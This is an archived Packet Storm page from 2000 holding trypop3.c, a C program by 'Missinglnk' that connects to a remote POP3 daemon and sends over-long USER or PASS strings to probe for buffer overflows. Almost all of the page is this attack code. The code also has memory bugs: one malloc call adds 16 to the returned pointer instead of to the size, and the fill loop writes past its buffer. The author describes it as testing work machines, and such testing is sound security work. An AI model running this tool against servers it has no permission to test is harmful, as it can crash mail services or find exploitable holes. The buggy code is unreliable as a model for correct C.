exploit the possibilities

trypop3.c

trypop3.c
Posted Feb 23, 2000
Authored by Missinglnk | Site tribune.intranova.net

Some code I put together to do some testing on the POP3 daemons on some machines installed at work. Attempts to overflow user/password variables.

tags | overflow
systems | unix
MD5 | 1eed4e6879bc0653eaa3935f370ec9aa

trypop3.c

Change Mirror Download
/*
* Little program to check remote POP3 servers
* (c) 2000 - missnglnk <missnglnk@tribune.intranova.net>
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/param.h>

#define METHOD_USERNAME 0xdead
#define METHOD_PASSWORD 0xbeef

extern int errno;
extern int h_errno;

void usage(void)
{
printf("\ntrypop3.c\n");
printf("=========\n");
printf("Tries different overflows against a remote pop3 daemon.\n");
printf("missnglnk@tribune.intranova.net\n");
printf("Usage: [-m method] [-l length] [-t target] [-p port]\n");
printf("Available Methods:\n");
printf("\t* username\n");
printf("\t* password\n\n");
exit(-1);
}

int main(int argc, char **argv)
{
int args;
int sock;
int port = 0;
int i;
int method;
int methodlen;
char *target;
unsigned long ip;
struct hostent *he;
struct sockaddr_in sin;
struct servent *se;
struct in_addr *inp;
char *attempt;
char *sndbuf;
char rcvbuf[1024];

if (argc < 2) {
usage();
}

while((args = getopt(argc, argv, "m:l:t:p:")) != EOF) {
switch(args) {
case 'm':
if (strcmp(optarg, "username") == 0) {
method = METHOD_USERNAME;
} else if (strcmp(optarg, "password") == 0) {
method = METHOD_PASSWORD;
} else {
printf("Unknown method. Either username or password.\n");
return -1;
}
break;
case 'l':
methodlen = atoi(optarg);
break;
case 't':
if (strlen(optarg) > MAXHOSTNAMELEN) {
printf("Target name too long.\n");
return -1;
} else {
target = optarg;
}
break;
case 'p':
port = atoi(optarg);
break;
case '?':
default:
usage();
break;
}
}

argc -= optind;
argv += optind;

printf("Resolving %s...", target);
if (inet_addr(target) != -1) {
inp = (struct in_addr *)target;
} else {
if ((he = gethostbyname(target)) != NULL) {
inp = (struct in_addr *)he->h_addr;
} else {
printf("Error (gethostbyname): %s\n", hstrerror(h_errno));
return -1;
}
}
printf("%s\n", inet_ntoa(*inp));

if (port <= 0) {
if ((se = getservbyname("pop-3", "tcp")) == NULL) {
printf("Error (getservbyname): %s\n", strerror(errno));
return -1;
} else {
port = ntohs(se->s_port);
}
}

if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
printf("Error (socket): %s\n", strerror(errno));
return -1;
}

bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr = *inp;
sin.sin_port = htons(port);

printf("Connecting to %s:%d...", inet_ntoa(*inp), port);
if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
printf("Error (connect): %s\n", strerror(errno));
return -1;
}
printf("Connected.\n");

if ((attempt = malloc(methodlen)) == NULL) {
printf("Error (malloc): %s\n", strerror(errno));
return -1;
}

if ((sndbuf = malloc(methodlen) + 16) == NULL) {
printf("Error (malloc): %s\n", strerror(errno));
return -1;
}

for (i = 0; i <= methodlen; i++) {
attempt[i] = 'A';
}

bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("Error (read): %s\n", strerror(errno));
return -1;
}

printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
if (strstr(rcvbuf, "+OK") == NULL) {
return -1;
}
bzero(rcvbuf, sizeof(rcvbuf));

switch(method) {
case METHOD_USERNAME:
snprintf(sndbuf, methodlen + 16, "USER %s\n", attempt);
if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
printf("Error (write): %s\n", strerror(errno));
return -1;
}
printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
bzero(sndbuf, methodlen + 16);
bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("Error (read): %s\n", strerror(errno));
return -1;
}

printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
if (strstr(rcvbuf, "+OK") == NULL) {
snprintf(sndbuf, methodlen + 16, "QUIT\n");
if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
printf("Error (write): %s\n", strerror(errno));
return -1;
}
printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
bzero(sndbuf, methodlen + 16);
bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("Error (read): %s\n", strerror(errno));
return -1;
}

printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
return -1;
}

bzero(rcvbuf, sizeof(rcvbuf));

snprintf(sndbuf, methodlen + 16, "PASS http://tribune.intranova.net\n");
if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
printf("Error (write): %s\n", strerror(errno));
return -1;
}
printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
bzero(sndbuf, methodlen + 16);
bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("Error (read): %s\n", strerror(errno));
return -1;
}
printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);

if (strstr(rcvbuf, "+OK") == NULL) {
snprintf(sndbuf, methodlen + 16, "QUIT\n");
if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
printf("Error (write): %s\n", strerror(errno));
return -1;
}
printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
bzero(sndbuf, methodlen + 16);
bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("Error (read): %s\n", strerror(errno));
return -1;
}

printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
return -1;
}

snprintf(sndbuf, methodlen + 16, "QUIT\n");
if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
printf("Error (write): %s\n", strerror(errno));
return -1;
}
printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
bzero(sndbuf, methodlen + 16);
bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("Error (read): %s\n", strerror(errno));
return -1;
}

printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
bzero(rcvbuf, sizeof(rcvbuf));
break;

case METHOD_PASSWORD:
snprintf(sndbuf, methodlen + 16, "USER http://tribune.intranova.net\n");
if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
printf("Error (write): %s\n", strerror(errno));
return -1;
}
printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
bzero(sndbuf, methodlen + 16);
bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("Error (read): %s\n", strerror(errno));
return -1;
}

if (strstr(rcvbuf, "+OK") == NULL) {
snprintf(sndbuf, methodlen + 16, "QUIT\n");
if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
printf("Error (write): %s\n", strerror(errno));
return -1;
}
printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
bzero(sndbuf, methodlen + 16);
bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("Error (read): %s\n", strerror(errno));
return -1;
}

printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
return -1;
}

printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
bzero(rcvbuf, sizeof(rcvbuf));

snprintf(sndbuf, methodlen + 16, "PASS %s\n", attempt);
if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
printf("Error (write): %s\n", strerror(errno));
return -1;
}
printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("Error (read): %s\n", strerror(errno));
return -1;
}

printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
if (strstr(rcvbuf, "+OK") == NULL) {
snprintf(sndbuf, methodlen + 16, "QUIT\n");
if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
printf("Error (write): %s\n", strerror(errno));
return -1;
}
printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
bzero(sndbuf, methodlen + 16);

bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("Error (read): %s\n", strerror(errno));
return -1;
}

printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
return -1;
}

snprintf(sndbuf, methodlen + 16, "QUIT\n");
if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
printf("Error (write): %s\n", strerror(errno));
return -1;
}
printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
bzero(sndbuf, methodlen + 16);

bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("Error (read): %s\n", strerror(errno));
return -1;
}

printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
bzero(rcvbuf, sizeof(rcvbuf));
break;
default:
printf("Why are you here?\n");
return -1;
}

if (close(sock) < 0) {
printf("Error (close): %s\n", strerror(errno));
return -1;
}

free(attempt);
return 0;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    2 Files
  • 15
    Sep 15th
    1 Files
  • 16
    Sep 16th
    11 Files
  • 17
    Sep 17th
    14 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close